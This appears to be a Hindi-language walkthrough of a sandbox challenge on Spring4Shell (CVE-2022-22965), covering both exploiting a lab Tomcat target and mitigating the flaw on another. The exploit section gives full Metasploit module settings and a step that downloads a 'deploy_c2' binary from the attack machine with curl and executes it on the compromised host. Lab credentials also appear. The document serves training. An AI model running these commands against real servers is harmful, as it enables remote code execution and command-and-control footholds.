# CVE-2022-22965 (Spring4Shell) का Metasploit के साथ शोषण करने की चरण-दर-चरण प्रक्रिया, C2 लिसनर तैनात करना, और Tomcat सर्वर पर Java 8 में डाउनग्रेड करके भेद्यता को कम करना।
यह वॉकथ्रू CVE-2022-22965 पर केंद्रित सैंडबॉक्स चैलेंज की पूर्ति का दस्तावेजीकरण करता है, जिसे सामान्यतः Spring4Shell के रूप में जाना जाता है — यह Spring Java फ्रेमवर्क के विशिष्ट संस्करणों को प्रभावित करने वाली एक गंभीर (CVSS 9.8/10) रिमोट कोड एक्ज़ीक्यूशन भेद्यता है। यह चैलेंज भेद्यता के आक्रामक (रेड टीम) और रक्षात्मक (ब्लू टीम) दोनों दृष्टिकोणों को कवर करता है।
नोट: इस वॉकथ्रू में दिए गए कमांड और फ़ाइल पथ इस प्रयास के दौरान उपयोग किए गए विशिष्ट वातावरण को दर्शाते हैं। आपका वातावरण भिन्न हो सकता है — पथ, IP पते और फ़ाइल नाम तदनुसार बदलें।
| मशीन | IP पता | भूमिका |
|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | हमला और कार्य मशीन |
| Red Target (Linux) | 172.16.100.90 | शोषण लक्ष्य |
| Blue Target (Linux) | 172.16.100.100 | सख्तीकरण लक्ष्य |
क्रेडेंशियल्स: playerone / password123
चैलेंज पैनल में नेटवर्क मैप टैब की समीक्षा करके Red Target का IP (172.16.100.90) सत्यापित किया। पोर्ट 80 पर चल रहे वेब एप्लिकेशन का निरीक्षण करने के लिए curl का उपयोग किया:
curl http://172.16.100.90
आउटपुट ने /dasmsp पर रीडायरेक्ट के साथ Apache Tomcat 9.0.59 दिखाया। /dasmsp/contact पर POST फ़ॉर्म एंडपॉइंट की पहचान करने के लिए पृष्ठ स्रोत ब्राउज़ किया।
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
एक्सप्लॉइट ने सफलतापूर्वक एक JSP शेल जनरेट किया, क्लास लोडर को संशोधित किया, लॉग फ़ाइल को फ्लश किया, और Red Target पर एक कमांड शेल सत्र खोल दिया।
सत्र खुलने के बाद, इंटरैक्टिव शेल में अपग्रेड करने के लिए shell दर्ज किया। Metasploit ने लक्ष्य पर /usr/bin/script ढूंढा और tomcat उपयोगकर्ता के रूप में इंटरैक्टिव शेल खोलने के लिए इसका उपयोग किया।
deploy_c2 बाइनरी Red Target पर नहीं, बल्कि Security-Desk पर स्थित थी। इसे Security-Desk पर Python3 HTTP सर्वर के माध्यम से होस्ट किया गया:
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
इसे Red Target शेल सत्र के भीतर से डाउनलोड करके निष्पादित किया गया:
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
आउटपुट ने पुष्टि की: Done! — C2 लिसनर Red Target पर सफलतापूर्वक तैनात हो गया।
Security-Desk टर्मिनल से:
पासवर्ड: password123
Java 8 .deb पैकेज Security-Desk पर /home/playerone/Desktop/Resources/ में स्थित थे। इन्हें Security-Desk टर्मिनल से SCP का उपयोग करके Blue Target पर स्थानांतरित किया गया:
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
स्थानांतरित किए गए पैकेज:
Blue Target SSH सत्र पर:
sudo dpkg -i /tmp/*.deb
चैलेंज की एक ज्ञात समस्या के कारण, Java 8 को मैन्युअल रूप से डिफ़ॉल्ट के रूप में सेट किए बिना जाँच सही ढंग से पंजीकृत नहीं होती है:
sudo update-alternatives --config java
विकल्प 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java चुना गया।
Tomcat सेवा यूनिट फ़ाइल का निरीक्षण किया:
cat /etc/systemd/system/tomcat.service
JAVA_HOME पर्यावरण चर को अपडेट करने के लिए फ़ाइल संपादित की:
sudo nano /etc/systemd/system/tomcat.service
पुराना मान:
Environment="JAVA_HOME=/usr"
नया मान:
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
चैलेंज पैनल में 'CVE-2022-22965 Mitigated on Blue Target' जाँच हरी हो गई।
spring_framework_rce_spring4shell मॉड्यूल)